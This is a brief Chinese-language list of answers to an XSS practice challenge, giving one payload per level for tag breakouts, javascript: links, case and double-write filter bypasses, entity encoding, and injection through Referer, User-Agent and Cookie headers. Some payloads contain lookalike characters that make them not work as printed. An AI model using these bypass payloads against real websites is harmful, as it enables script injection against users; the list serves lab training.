XSS挑战关卡

 

level1 
<script>alert(1)</script>

level2(闭合标签)
"><script>alert(1)</script>

level3(单引号闭合)
'οnmοusemοve='alert(1)

level4(双引号闭合)
“οnmοusemοve=”alert(1)

level5(伪协议)
"><a href=javascript:alert(1)>

level6(大小写)
"><Script>alert(1)<Script>

level7（双写）
 "><SCRSCRIPTIPT>ALERT(1)</SCRSCRIPTIPT>

level8（url）
JAVASC&#x72;IPT:ALERT`1`

level9（url拼接）
javascrip&#x74;:alert(1)//http://xxx.com  

level10(查看源码，t_sort参数)
t_sort=" type="text" onclick = "alert(1)

level11（referer请求）
referer " type="text" onclick = "alert(1)

level12（user-agent请求）
user-agent " type="text" onclick = "alert(1)

level13 （cookie请求 user参数）
cookie user=" type="text" onclick = "alert(1)

level15（查看源码 AngularJS文件包含）
src='level1.php?name=<a href=javascript:alert(1)>'

level16（查看源码空格被过滤，可以找空格代替符进行拼接绕过）
<img%0Dsrc=1%0Dοnerrοr=alert(1)>